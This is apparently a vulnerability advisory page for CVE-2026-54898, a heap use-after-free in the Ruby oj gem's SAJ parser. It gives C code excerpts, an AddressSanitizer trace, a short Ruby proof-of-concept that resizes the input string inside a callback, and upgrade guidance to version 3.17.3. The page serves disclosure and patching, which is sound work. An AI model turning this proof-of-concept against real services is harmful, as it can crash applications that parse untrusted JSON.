Loading...
Skip to main content

CVE-2026-54898

HIGH

Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation

Published June 19, 2026Updated June 26, 2026Source: osv

Summary

### Summary `Oj::Parser#parse` is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw `const byte *` pointer into the Ruby string's internal buffer. If a callback (e.g. `hash_start`) resizes the string — for example by calling `String#replace` with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at `parser.c:607` is a use-after-free. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/parser.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/parser.c`, `parser_parse` → `parse`: ```c static VALUE parser_parse(VALUE self, VALUE json) { const byte *ptr = (const byte *)StringValuePtr(json); // raw pointer into Ruby string // ... parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer } ``` ```c // parser.c:607 static void parse(ojParser p, const byte *json) { const byte *b = json; // ... for (; '\0' != *b; b++) { // ← UAF: reads freed memory after callback resizes json ``` Ruby's `String#replace` (or `<<`, `gsub!`, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that `ptr` still points to. ASAN report: ``` ==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81 READ of size 1 at 0x51900008ed81 thread T0 #0 parse /ext/oj/parser.c:607 #1 parser_parse /ext/oj/parser.c:1408 0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f) freed by thread T0 here: #0 free #1 ruby_sized_xfree (libruby-3.3.so.3.3) Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed) ``` ### Reproduce ```ruby require 'oj' class Mutator def initialize(json) = (@json = json; @done = false) def hash_start(key) return if @done; @done = true @json.replace('x' * 1_000_000) # triggers String realloc, frees original buffer end def hash_end(key); end def array_start(key); end def array_end(key); end def add_value(value, key); end end json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}' parser = Oj::Parser.new(:saj) parser.handler = Mutator.new(json) parser.parse(json) ```

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update oj to 3.17.3 or later
gem install oj -v 3.17.3

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
oj
rubygems
0.5, 0.5.1, 0.5.2, 0.6.0 (+290 more)3.17.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-54898?
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-54898?
CVE-2026-54898 affects oj. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-54898 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-q2gm-54r6-8fwm

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies